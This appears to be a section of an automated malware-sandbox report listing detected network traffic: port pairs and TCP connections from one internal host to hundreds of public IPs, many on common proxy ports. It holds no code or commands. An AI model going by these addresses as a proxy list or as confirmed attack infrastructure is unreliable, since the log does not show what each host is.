Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 38721
Source: unknown	Network traffic detected: HTTP traffic on port 51082 -> 27829
Source: unknown	Network traffic detected: HTTP traffic on port 50798 -> 25295
Source: unknown	Network traffic detected: HTTP traffic on port 50711 -> 42042
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 64556
Source: unknown	Network traffic detected: HTTP traffic on port 51039 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 51211 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 51220 -> 53935
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 63135
Source: unknown	Network traffic detected: HTTP traffic on port 51123 -> 33466
Source: unknown	Network traffic detected: HTTP traffic on port 50961 -> 42369
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 46286
Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 6467
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 6161
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50615
Source: unknown	Network traffic detected: HTTP traffic on port 51261 -> 38338
Source: unknown	Network traffic detected: HTTP traffic on port 51265 -> 8380
Source: unknown	Network traffic detected: HTTP traffic on port 51175 -> 45620
Source: unknown	Network traffic detected: HTTP traffic on port 51275 -> 46097
Source: unknown	Network traffic detected: HTTP traffic on port 51296 -> 32100
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50689 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51324 -> 17970
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 11176
Source: unknown	Network traffic detected: HTTP traffic on port 50817 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 51212 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 51231 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51253 -> 1772
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51211
Source: unknown	Network traffic detected: HTTP traffic on port 50857 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 35557
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51098 -> 8037
Source: unknown	Network traffic detected: HTTP traffic on port 51321 -> 8881
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 38242
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51333 -> 2335
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 20074
Source: unknown	Network traffic detected: HTTP traffic on port 50573 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51343 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50725
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 50879
Source: unknown	Network traffic detected: HTTP traffic on port 51194 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50898
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 15427
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51195 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 51393 -> 3000
Source: unknown	Network traffic detected: HTTP traffic on port 51295 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51433 -> 1647
Source: unknown	Network traffic detected: HTTP traffic on port 8881 -> 51321
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51508 -> 9367
Source: unknown	Network traffic detected: HTTP traffic on port 50934 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51559 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50683 -> 13988
Source: unknown	Network traffic detected: HTTP traffic on port 51491 -> 40927
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 15393
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 26154
Source: unknown	Network traffic detected: HTTP traffic on port 51552 -> 15685
Source: unknown	Network traffic detected: HTTP traffic on port 51563 -> 87
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 17179
Source: unknown	Network traffic detected: HTTP traffic on port 50965 -> 32520
Source: unknown	Network traffic detected: HTTP traffic on port 51220 -> 53935
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 46286
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 56225
Source: unknown	Network traffic detected: HTTP traffic on port 51371 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 6161 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 50661 -> 8090
Source: unknown	Network traffic detected: HTTP traffic on port 51588 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 6467 -> 51138
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 48963
Source: unknown	Network traffic detected: HTTP traffic on port 51625 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51419 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51596 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51604 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 20002
Source: unknown	Network traffic detected: HTTP traffic on port 51431 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 51615 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50994
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 50737
Source: unknown	Network traffic detected: HTTP traffic on port 51598 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50780 -> 23031
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51477 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 51430 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 50938 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51605 -> 1976
Source: unknown	Network traffic detected: HTTP traffic on port 51644 -> 63425
Source: unknown	Network traffic detected: HTTP traffic on port 51661 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 51107 -> 63135
Source: unknown	Network traffic detected: HTTP traffic on port 50798 -> 25295
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51574 -> 9999
Source: unknown	Network traffic detected: HTTP traffic on port 51368 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51627 -> 55215
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 53397
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 38721
Source: unknown	Network traffic detected: HTTP traffic on port 51324 -> 17970
Source: unknown	Network traffic detected: HTTP traffic on port 51275 -> 46097
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 28134
Source: unknown	Network traffic detected: HTTP traffic on port 51261 -> 38338
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50673
Source: unknown	Network traffic detected: HTTP traffic on port 53281 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 51557 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 20074 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 50987 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51706 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51295
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 38242
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 64556
Source: unknown	Network traffic detected: HTTP traffic on port 50857 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 51195
Source: unknown	Network traffic detected: HTTP traffic on port 51691 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51700 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51631 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51662 -> 11
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 51062
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 15393
Source: unknown	Network traffic detected: HTTP traffic on port 50817 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51269
Source: unknown	Network traffic detected: HTTP traffic on port 8090 -> 50661
Source: unknown	Network traffic detected: HTTP traffic on port 51725 -> 4154

Source: unknown

Network traffic detected: IP country count 36

Source: global traffic	TCP traffic: 192.168.2.4:49733 -> 107.181.148.187:6047
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 181.209.113.234:1082
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 81.17.94.50:34300
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 107.148.99.107:58394
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 159.223.71.71:49922
Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 128.199.221.91:12259
Source: global traffic	TCP traffic: 192.168.2.4:49744 -> 221.231.13.198:1080
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 103.124.198.118:8080
Source: global traffic	TCP traffic: 192.168.2.4:49746 -> 212.69.12.121:1080
Source: global traffic	TCP traffic: 192.168.2.4:49747 -> 49.0.34.194:8080
Source: global traffic	TCP traffic: 192.168.2.4:49748 -> 160.153.245.187:5436
Source: global traffic	TCP traffic: 192.168.2.4:49750 -> 104.238.111.107:30026
Source: global traffic	TCP traffic: 192.168.2.4:49751 -> 222.124.130.198:4145
Source: global traffic	TCP traffic: 192.168.2.4:49752 -> 184.181.217.201:4145
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 154.202.123.46:3128
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 198.12.253.117:60406
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 102.212.86.57:8080
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 168.227.40.66:8080
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 107.180.101.18:3663
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 103.134.38.89:5678
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 136.243.148.97:25928
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 132.148.129.254:45366
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 208.109.13.93:5190
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 95.23.214.53:8085
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 67.43.228.250:18681
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 83.238.80.12:8081
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 125.87.82.86:3256
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 146.190.84.209:9445
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 78.47.35.35:3312
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 23.122.184.9:8888
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 92.246.139.113:11201
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 91.205.197.226:8080
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 139.99.9.218:17182
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 88.199.164.140:8081
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 51.158.105.107:16379
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 137.184.15.145:8000
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 185.132.179.72:3128
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 135.181.30.244:14645
Source: global traffic	TCP traffic: 192.168.2.4:49782 -> 43.129.249.83:8888
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 202.6.233.59:7878
Source: global traffic	TCP traffic: 192.168.2.4:49785 -> 199.102.107.145:4145
Source: global traffic	TCP traffic: 192.168.2.4:49787 -> 199.102.105.242:4145
Source: global traffic	TCP traffic: 192.168.2.4:49788 -> 141.94.174.6:3601
Source: global traffic	TCP traffic: 192.168.2.4:49789 -> 154.79.254.236:32650
Source: global traffic	TCP traffic: 192.168.2.4:49790 -> 165.225.32.114:10417
Source: global traffic	TCP traffic: 192.168.2.4:49792 -> 162.215.223.76:62691
Source: global traffic	TCP traffic: 192.168.2.4:49793 -> 154.202.124.29:3128
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 177.87.250.66:999
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 47.114.101.57:8888
Source: global traffic	TCP traffic: 192.168.2.4:49798 -> 72.195.114.169:4145
Source: global traffic	TCP traffic: 192.168.2.4:49799 -> 103.214.112.238:32323
Source: global traffic	TCP traffic: 192.168.2.4:49800 -> 200.116.198.222:9812
Source: global traffic	TCP traffic: 192.168.2.4:49801 -> 67.43.227.227:12129
Source: global traffic	TCP traffic: 192.168.2.4:49802 -> 103.155.54.38:83
Source: global traffic	TCP traffic: 192.168.2.4:49803 -> 207.180.234.220:42823
Source: global traffic	TCP traffic: 192.168.2.4:49805 -> 72.10.164.178:3021
Source: global traffic	TCP traffic: 192.168.2.4:49807 -> 3.9.71.167:3128
Source: global traffic	TCP traffic: 192.168.2.4:49809 -> 104.248.151.220:51040
Source: global traffic	TCP traffic: 192.168.2.4:49811 -> 213.252.245.221:6120
Source: global traffic	TCP traffic: 192.168.2.4:49812 -> 182.93.69.74:5678
Source: global traffic	TCP traffic: 192.168.2.4:49813 -> 50.63.13.3:11673
Source: global traffic	TCP traffic: 192.168.2.4:49815 -> 13.234.24.116:3128
Source: global traffic	TCP traffic: 192.168.2.4:49816 -> 136.228.160.250:5678
Source: global traffic	TCP traffic: 192.168.2.4:49817 -> 117.160.250.134:8899
Source: global traffic	TCP traffic: 192.168.2.4:49818 -> 103.215.139.32:20056
Source: global traffic	TCP traffic: 192.168.2.4:49819 -> 167.86.69.142:46859
Source: global traffic	TCP traffic: 192.168.2.4:49820 -> 188.165.237.26:52982
Source: global traffic	TCP traffic: 192.168.2.4:49821 -> 178.62.103.49:8587
Source: global traffic	TCP traffic: 192.168.2.4:49822 -> 161.97.173.42:23670
Source: global traffic	TCP traffic: 192.168.2.4:49823 -> 45.179.71.90:3180
Source: global traffic	TCP traffic: 192.168.2.4:49824 -> 41.90.242.102:5678
Source: global traffic	TCP traffic: 192.168.2.4:49826 -> 111.3.102.135:30001
Source: global traffic	TCP traffic: 192.168.2.4:49827 -> 154.83.10.137:3128
Source: global traffic	TCP traffic: 192.168.2.4:49828 -> 103.247.21.98:8080
Source: global traffic	TCP traffic: 192.168.2.4:49829 -> 189.240.60.171:9090
Source: global traffic	TCP traffic: 192.168.2.4:49830 -> 41.65.236.39:1976
Source: global traffic	TCP traffic: 192.168.2.4:49832 -> 212.77.163.196:3128
Source: global traffic	TCP traffic: 192.168.2.4:49833 -> 167.172.86.46:10471
Source: global traffic	TCP traffic: 192.168.2.4:49835 -> 107.178.9.186:8080
Source: global traffic	TCP traffic: 192.168.2.4:49836 -> 113.53.29.228:13629
Source: global traffic	TCP traffic: 192.168.2.4:49838 -> 116.118.98.9:5678
Source: global traffic	TCP traffic: 192.168.2.4:49839 -> 200.6.175.10:59341
Source: global traffic	TCP traffic: 192.168.2.4:49840 -> 162.241.46.54:46849
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 201.77.108.1:999
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 201.174.175.82:999
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 89.161.90.203:5678
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 89.22.17.62:43110
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 94.130.181.59:32770
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 198.105.111.86:6764
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 66.228.33.190:29466
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 185.129.250.183:26777
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 24.249.199.4:4145
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 188.235.0.207:8181
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 46.101.102.134:3128
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 110.78.164.224:5678
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 103.60.137.17:4153
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 79.174.188.153:8080
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 51.83.190.248:19050
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 102.132.54.151:8080
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 167.86.102.169:37379
Source: global traffic	TCP traffic: 192.168.2.4:49863 -> 101.255.166.2:8080
Source: global traffic	TCP traffic: 192.168.2.4:49864 -> 72.37.216.68:4145
Source: global traffic	TCP traffic: 192.168.2.4:49865 -> 80.54.62.254:5678
Source: global traffic	TCP traffic: 192.168.2.4:49867 -> 45.119.113.62:83
Source: global traffic	TCP traffic: 192.168.2.4:49870 -> 91.149.224.168:3128
Source: global traffic	TCP traffic: 192.168.2.4:49871 -> 45.159.150.23:3128
Source: global traffic	TCP traffic: 192.168.2.4:49873 -> 41.65.55.10:1976
Source: global traffic	TCP traffic: 192.168.2.4:49875 -> 94.131.107.45:1080
Source: global traffic	TCP traffic: 192.168.2.4:49876 -> 162.241.46.40:49401
Source: global traffic	TCP traffic: 192.168.2.4:49880 -> 103.163.80.14:8080
Source: global traffic	TCP traffic: 192.168.2.4:49882 -> 103.176.116.171:32650
Source: global traffic	TCP traffic: 192.168.2.4:49884 -> 132.148.128.8:12519
Source: global traffic	TCP traffic: 192.168.2.4:49885 -> 185.38.111.1:8080
Source: global traffic	TCP traffic: 192.168.2.4:49886 -> 37.187.143.172:47016
Source: global traffic	TCP traffic: 192.168.2.4:49887 -> 198.57.195.42:31683
Source: global traffic	TCP traffic: 192.168.2.4:49888 -> 94.232.11.178:58028
Source: global traffic	TCP traffic: 192.168.2.4:49889 -> 109.123.254.43:51025
Source: global traffic	TCP traffic: 192.168.2.4:49890 -> 166.62.87.148:42801
Source: global traffic	TCP traffic: 192.168.2.4:49891 -> 142.93.151.99:45365
Source: global traffic	TCP traffic: 192.168.2.4:49893 -> 166.62.53.45:56862
Source: global traffic	TCP traffic: 192.168.2.4:49894 -> 51.77.73.67:31979
Source: global traffic	TCP traffic: 192.168.2.4:49895 -> 171.97.12.175:8080
Source: global traffic	TCP traffic: 192.168.2.4:49896 -> 72.10.160.90:2589
Source: global traffic	TCP traffic: 192.168.2.4:49897 -> 210.61.216.63:60808
Source: global traffic	TCP traffic: 192.168.2.4:49898 -> 1.20.137.82:32241
Source: global traffic	TCP traffic: 192.168.2.4:49899 -> 50.63.12.101:32423
Source: global traffic	TCP traffic: 192.168.2.4:49900 -> 103.167.69.94:8080
Source: global traffic	TCP traffic: 192.168.2.4:49901 -> 221.226.109.229:7302
Source: global traffic	TCP traffic: 192.168.2.4:49902 -> 46.109.146.244:4145
Source: global traffic	TCP traffic: 192.168.2.4:49904 -> 78.40.104.5:1080
Source: global traffic	TCP traffic: 192.168.2.4:49906 -> 45.112.125.58:4145
Source: global traffic	TCP traffic: 192.168.2.4:49905 -> 104.164.183.187:3128
Source: global traffic	TCP traffic: 192.168.2.4:49907 -> 67.43.236.20:6095
Source: global traffic	TCP traffic: 192.168.2.4:49908 -> 45.225.184.206:999
Source: global traffic	TCP traffic: 192.168.2.4:49911 -> 171.226.88.162:54450
Source: global traffic	TCP traffic: 192.168.2.4:49912 -> 91.135.80.66:33427
Source: global traffic	TCP traffic: 192.168.2.4:49913 -> 175.106.10.227:7878
Source: global traffic	TCP traffic: 192.168.2.4:49914 -> 41.128.148.78:1976
Source: global traffic	TCP traffic: 192.168.2.4:49915 -> 182.18.140.17:3128
Source: global traffic	TCP traffic: 192.168.2.4:49916 -> 41.217.223.145:32650
Source: global traffic	TCP traffic: 192.168.2.4:49918 -> 72.10.160.92:26077
Source: global traffic	TCP traffic: 192.168.2.4:49920 -> 103.184.54.42:8080
Source: global traffic	TCP traffic: 192.168.2.4:49922 -> 195.138.90.226:3128
Source: global traffic	TCP traffic: 192.168.2.4:49923 -> 46.182.6.69:41041
Source: global traffic	TCP traffic: 192.168.2.4:49924 -> 154.83.11.52:3128
Source: global traffic	TCP traffic: 192.168.2.4:49925 -> 103.141.109.237:8080
Source: global traffic	TCP traffic: 192.168.2.4:49926 -> 104.165.169.83:3128
Source: global traffic	TCP traffic: 192.168.2.4:49928 -> 161.97.147.193:1599
Source: global traffic	TCP traffic: 192.168.2.4:49929 -> 120.197.40.219:9002
Source: global traffic	TCP traffic: 192.168.2.4:49931 -> 72.167.221.145:53672
Source: global traffic	TCP traffic: 192.168.2.4:49932 -> 138.197.92.110:21346
Source: global traffic	TCP traffic: 192.168.2.4:49934 -> 45.233.67.226:999
Source: global traffic	TCP traffic: 192.168.2.4:49936 -> 92.247.31.130:1080
Source: global traffic	TCP traffic: 192.168.2.4:49937 -> 201.182.251.140:999
Source: global traffic	TCP traffic: 192.168.2.4:49939 -> 103.76.104.30:8080
Source: global traffic	TCP traffic: 192.168.2.4:49940 -> 185.172.212.233:8080
Source: global traffic	TCP traffic: 192.168.2.4:49941 -> 208.87.131.151:49314
Source: global traffic	TCP traffic: 192.168.2.4:49944 -> 67.43.227.228:5769
Source: global traffic	TCP traffic: 192.168.2.4:49947 -> 117.57.93.135:8089
Source: global traffic	TCP traffic: 192.168.2.4:49949 -> 23.225.72.125:3503
Source: global traffic	TCP traffic: 192.168.2.4:49948 -> 148.66.130.53:12005
Source: global traffic	TCP traffic: 192.168.2.4:49950 -> 168.227.158.41:4145
Source: global traffic	TCP traffic: 192.168.2.4:49951 -> 190.120.254.233:999
Source: global traffic	TCP traffic: 192.168.2.4:49954 -> 190.113.40.202:999
Source: global traffic	TCP traffic: 192.168.2.4:49955 -> 50.193.36.173:8080
Source: global traffic	TCP traffic: 192.168.2.4:49956 -> 118.67.216.94:4145
Source: global traffic	TCP traffic: 192.168.2.4:49957 -> 158.101.1.100:42171
Source: global traffic	TCP traffic: 192.168.2.4:49958 -> 41.242.90.3:57520
Source: global traffic	TCP traffic: 192.168.2.4:49959 -> 168.138.66.48:1080
Source: global traffic	TCP traffic: 192.168.2.4:49960 -> 51.210.4.123:56238
Source: global traffic	TCP traffic: 192.168.2.4:49961 -> 183.89.176.18:4153
Source: global traffic	TCP traffic: 192.168.2.4:49962 -> 178.252.197.64:4153
Source: global traffic	TCP traffic: 192.168.2.4:49964 -> 8.213.137.155:543
Source: global traffic	TCP traffic: 192.168.2.4:49965 -> 117.69.236.86:8089
Source: global traffic	TCP traffic: 192.168.2.4:49966 -> 74.119.147.209:4145
Source: global traffic	TCP traffic: 192.168.2.4:49967 -> 146.120.160.148:5678
Source: global traffic	TCP traffic: 192.168.2.4:49968 -> 185.208.102.62:8080
Source: global traffic	TCP traffic: 192.168.2.4:49969 -> 103.126.173.163:8080
Source: global traffic	TCP traffic: 192.168.2.4:49970 -> 114.106.146.149:8089
Source: global traffic	TCP traffic: 192.168.2.4:49971 -> 31.47.37.114:8080
Source: global traffic	TCP traffic: 192.168.2.4:49972 -> 138.68.24.185:46035
Source: global traffic	TCP traffic: 192.168.2.4:49974 -> 152.67.10.190:8100
Source: global traffic	TCP traffic: 192.168.2.4:49975 -> 103.86.1.34:4145
Source: global traffic	TCP traffic: 192.168.2.4:49976 -> 201.229.250.21:8080
Source: global traffic	TCP traffic: 192.168.2.4:49977 -> 154.202.110.117:3128
Source: global traffic	TCP traffic: 192.168.2.4:49978 -> 188.132.222.168:10820
Source: global traffic	TCP traffic: 192.168.2.4:49982 -> 72.10.160.170:1611
Source: global traffic	TCP traffic: 192.168.2.4:49984 -> 107.182.142.17:1080
Source: global traffic	TCP traffic: 192.168.2.4:49986 -> 78.38.93.22:3128
Source: global traffic	TCP traffic: 192.168.2.4:49987 -> 103.46.8.15:8080
Source: global traffic	TCP traffic: 192.168.2.4:49988 -> 41.65.236.37:1976
Source: global traffic	TCP traffic: 192.168.2.4:49990 -> 47.251.34.170:1080
Source: global traffic	TCP traffic: 192.168.2.4:49991 -> 45.11.96.41:8080
Source: global traffic	TCP traffic: 192.168.2.4:49992 -> 65.49.82.7:46770
Source: global traffic	TCP traffic: 192.168.2.4:49993 -> 125.26.22.7:5678
Source: global traffic	TCP traffic: 192.168.2.4:49994 -> 67.43.228.253:14313
Source: global traffic	TCP traffic: 192.168.2.4:49995 -> 206.189.15.100:54330
Source: global traffic	TCP traffic: 192.168.2.4:49996 -> 150.107.136.110:8082
Source: global traffic	TCP traffic: 192.168.2.4:49998 -> 83.126.54.155:8080
Source: global traffic	TCP traffic: 192.168.2.4:49999 -> 51.77.73.78:31979
Source: global traffic	TCP traffic: 192.168.2.4:50000 -> 37.120.222.132:3128
Source: global traffic	TCP traffic: 192.168.2.4:50001 -> 129.146.45.163:31289
Source: global traffic	TCP traffic: 192.168.2.4:50004 -> 154.202.108.37:3128
Source: global traffic	TCP traffic: 192.168.2.4:50005 -> 85.89.184.87:5678
Source: global traffic	TCP traffic: 192.168.2.4:50006 -> 130.193.123.34:5678
Source: global traffic	TCP traffic: 192.168.2.4:50007 -> 198.12.253.1:3820
Source: global traffic	TCP traffic: 192.168.2.4:50009 -> 142.54.236.97:4145
Source: global traffic	TCP traffic: 192.168.2.4:50010 -> 212.174.79.165:8080
Source: global traffic	TCP traffic: 192.168.2.4:50011 -> 190.109.178.44:999
Source: global traffic	TCP traffic: 192.168.2.4:50012 -> 125.229.149.168:65100
Source: global traffic	TCP traffic: 192.168.2.4:50013 -> 168.205.217.171:4145
Source: global traffic	TCP traffic: 192.168.2.4:50014 -> 180.210.222.153:1080
Source: global traffic	TCP traffic: 192.168.2.4:50015 -> 103.148.201.67:8080
Source: global traffic	TCP traffic: 192.168.2.4:50016 -> 201.71.2.115:999
Source: global traffic	TCP traffic: 192.168.2.4:50017 -> 34.145.53.40:3128
Source: global traffic	TCP traffic: 192.168.2.4:50019 -> 187.188.169.169:59329
Source: global traffic	TCP traffic: 192.168.2.4:50018 -> 209.250.230.101:9090
Source: global traffic	TCP traffic: 192.168.2.4:50020 -> 181.113.34.86:48024
Source: global traffic	TCP traffic: 192.168.2.4:50021 -> 103.84.235.162:8789
Source: global traffic	TCP traffic: 192.168.2.4:50022 -> 45.7.177.85:52246
Source: global traffic	TCP traffic: 192.168.2.4:50023 -> 78.47.103.89:8080
Source: global traffic	TCP traffic: 192.168.2.4:50024 -> 185.132.242.212:8083
Source: global traffic	TCP traffic: 192.168.2.4:50025 -> 88.255.217.44:10820
Source: global traffic	TCP traffic: 192.168.2.4:50027 -> 200.63.107.118:8089
Source: global traffic	TCP traffic: 192.168.2.4:50028 -> 194.233.78.142:34471
Source: global traffic	TCP traffic: 192.168.2.4:50029 -> 221.151.181.101:8000
Source: global traffic	TCP traffic: 192.168.2.4:50030 -> 213.136.75.85:59058
Source: global traffic	TCP traffic: 192.168.2.4:50031 -> 186.249.240.146:50733
Source: global traffic	TCP traffic: 192.168.2.4:50032 -> 221.134.152.75:7302
Source: global traffic	TCP traffic: 192.168.2.4:50033 -> 193.41.88.58:53281
Source: global traffic	TCP traffic: 192.168.2.4:50035 -> 41.65.55.2:1976
Source: global traffic	TCP traffic: 192.168.2.4:50036 -> 41.33.203.233:1975
Source: global traffic	TCP traffic: 192.168.2.4:50037 -> 96.80.235.1:8080
Source: global traffic	TCP traffic: 192.168.2.4:50038 -> 77.233.5.68:55443
Source: global traffic	TCP traffic: 192.168.2.4:50039 -> 195.206.39.222:8080
Source: global traffic	TCP traffic: 192.168.2.4:50040 -> 122.116.150.2:9000
Source: global traffic	TCP traffic: 192.168.2.4:50042 -> 139.5.73.71:8080
Source: global traffic	TCP traffic: 192.168.2.4:50041 -> 180.131.242.221:48678
Source: global traffic	TCP traffic: 192.168.2.4:50043 -> 185.105.230.45:3128
Source: global traffic	TCP traffic: 192.168.2.4:50044 -> 39.109.113.97:3128
Source: global traffic	TCP traffic: 192.168.2.4:50047 -> 47.243.177.210:8088
Source: global traffic	TCP traffic: 192.168.2.4:50048 -> 77.235.19.2:8080
Source: global traffic	TCP traffic: 192.168.2.4:50049 -> 171.244.140.160:36273
Source: global traffic	TCP traffic: 192.168.2.4:50051 -> 41.70.12.54:5678
Source: global traffic	TCP traffic: 192.168.2.4:50053 -> 176.88.177.197:61080
Source: global traffic	TCP traffic: 192.168.2.4:50054 -> 196.219.202.74:8080
Source: global traffic	TCP traffic: 192.168.2.4:50056 -> 5.78.89.192:8080
Source: global traffic	TCP traffic: 192.168.2.4:50057 -> 107.181.168.145:4145
Source: global traffic	TCP traffic: 192.168.2.4:50058 -> 27.111.83.207:8080
Source: global traffic	TCP traffic: 192.168.2.4:50059 -> 72.10.160.93:16703
Source: global traffic	TCP traffic: 192.168.2.4:50060 -> 94.23.83.53:64817
